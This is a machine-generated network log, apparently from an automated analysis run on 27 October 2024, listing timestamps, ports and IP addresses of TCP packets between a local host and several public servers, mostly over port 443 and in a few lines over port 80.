Oct 27, 2024 17:54:31.385428905 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385518074 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.385595083 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385657072 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.385675907 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385772943 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385828972 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.385950089 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.385968924 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385977983 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.385982037 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.387943983 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.387968063 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.388087034 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.388217926 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.388231039 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.423203945 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:31.423274040 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:31.423568010 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.423803091 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.423867941 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.466828108 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.466865063 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.466881037 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.466888905 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.474704027 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.474868059 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.474942923 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.481838942 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.483108044 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.483120918 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.483144045 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.483160019 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.483170033 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.483175039 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.487582922 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.487623930 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.487698078 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.487773895 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.487773895 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.487786055 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.487796068 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.489481926 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.489512920 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.489579916 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.491341114 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.491369963 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.492047071 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.492074966 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.510241032 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.510293007 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.510369062 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.510529995 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.510550976 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.621644020 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:31.621678114 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:31.622683048 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:31.628232002 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:31.628436089 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:31.628474951 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:31.865283012 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.866364002 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.866375923 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.867463112 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.867542028 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.872092009 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.872205973 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.913741112 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.913748026 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:32.018460989 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.040085077 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:32.094028950 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.094106913 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.094191074 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.094461918 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.094491959 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.132090092 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.132251024 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.133091927 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.150865078 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.176466942 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.176486015 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.176496029 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.176501989 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.177336931 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.177357912 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.177706957 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.177720070 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.177799940 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.177808046 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.178199053 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.178204060 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.222760916 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.227164030 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.227195024 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.227262974 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.227588892 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.227597952 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.227938890 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.229691029 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.229712963 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.229780912 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.229986906 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.229999065 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.232603073 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.232618093 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.232891083 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.232925892 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.233268023 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.233274937 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.233428955 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.233434916 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.241950989 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.241978884 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.242049932 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.243319988 CET	49840	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.243330956 CET	443	49840	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.245150089 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.245157957 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.245218992 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.245703936 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.245714903 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.268001080 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.296488047 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.296530008 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.297135115 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.297142982 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.304944038 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.305006027 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.305108070 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.306955099 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.306955099 CET	49831	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.306973934 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.306987047 CET	443	49831	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.307568073 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.307912111 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.307965994 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.309243917 CET	49832	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.309254885 CET	443	49832	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.315248013 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.315288067 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.315382004 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.315906048 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.315915108 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.315994024 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.316281080 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.316291094 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.316437960 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.316456079 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.330806017 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.330847025 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.331139088 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.331305027 CET	49844	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:32.331325054 CET	443	49844	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:32.358015060 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.358167887 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.358316898 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.358354092 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.358370066 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.358383894 CET	49833	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.358392954 CET	443	49833	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.358490944 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.359517097 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.359570026 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.359601974 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.359606981 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.359630108 CET	49834	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.359639883 CET	443	49834	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.360976934 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.360992908 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.361109018 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.361285925 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.361299992 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.361594915 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.361613989 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.361711979 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.361813068 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.361823082 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.427036047 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.427109003 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.427217960 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.427830935 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.427850962 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.427865028 CET	49835	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.427872896 CET	443	49835	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.437489033 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.437515020 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.437586069 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.437781096 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:32.437789917 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:32.586776018 CET	49703	443	192.168.2.5	23.1.237.91
Oct 27, 2024 17:54:32.592041016 CET	443	49703	23.1.237.91	192.168.2.5
Oct 27, 2024 17:54:32.839186907 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.840645075 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.840656996 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.842070103 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.842138052 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.843575001 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.843902111 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.843981028 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.844115019 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.844150066 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.844189882 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.844196081 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.845907927 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.845985889 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.846801043 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.846906900 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.846935987 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.848654032 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.848942995 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.848953009 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.852533102 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.852602005 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.854468107 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.854667902 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.854739904 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.854748964 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.871613026 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:32.872416019 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:32.876939058 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.877784967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.877862930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:32.887928963 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:32.891340971 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.891355038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:32.893280983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.896718979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.896729946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.896774054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:32.952578068 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.959130049 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.962359905 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.962380886 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.962848902 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.962877989 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.962913036 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.962925911 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.962976933 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.962999105 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.963661909 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.965812922 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.965898037 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.966051102 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:32.966064930 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:32.974942923 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.975167036 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.975220919 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.976332903 CET	49838	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.976340055 CET	443	49838	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.977272034 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.977360010 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.977529049 CET	49839	443	192.168.2.5	162.159.61.3
Oct 27, 2024 17:54:32.977547884 CET	443	49839	162.159.61.3	192.168.2.5
Oct 27, 2024 17:54:32.985203028 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:32.985284090 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.985498905 CET	49841	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:32.985512018 CET	443	49841	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:33.033742905 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.048126936 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.049295902 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.049333096 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.050086021 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.050098896 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.050844908 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.050899029 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.051243067 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.051255941 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.070872068 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.092186928 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.092809916 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.092828989 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.093323946 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.093329906 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.121795893 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.122307062 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.122328997 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.122889996 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.122896910 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.169631004 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.170198917 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.170211077 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.170691013 CET	49849	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.170701981 CET	443	49849	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.174246073 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.174323082 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.174525976 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.174525976 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.174576044 CET	49842	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.174599886 CET	443	49842	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.177190065 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.177217960 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.177548885 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.177764893 CET	49854	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.177778959 CET	443	49854	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.178477049 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.178534031 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.178689003 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.178726912 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.178726912 CET	49843	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.178746939 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.178759098 CET	443	49843	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.180730104 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.180800915 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.181130886 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.181255102 CET	49855	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.181284904 CET	443	49855	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.213948011 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.213985920 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.214097023 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.214118004 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.217967987 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.218036890 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.218046904 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.223072052 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.223267078 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.223388910 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.223408937 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.223408937 CET	49847	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.223418951 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.223427057 CET	443	49847	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.225763083 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.225791931 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.225863934 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.226346970 CET	49856	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.226371050 CET	443	49856	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.227025986 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.227080107 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.227096081 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.235768080 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.235841036 CET	49837	443	192.168.2.5	172.217.18.1
Oct 27, 2024 17:54:33.235857964 CET	443	49837	172.217.18.1	192.168.2.5
Oct 27, 2024 17:54:33.255944967 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.256377935 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.256556988 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.256665945 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.256681919 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.256697893 CET	49846	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:33.256704092 CET	443	49846	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:33.290401936 CET	49857	443	192.168.2.5	172.64.41.3
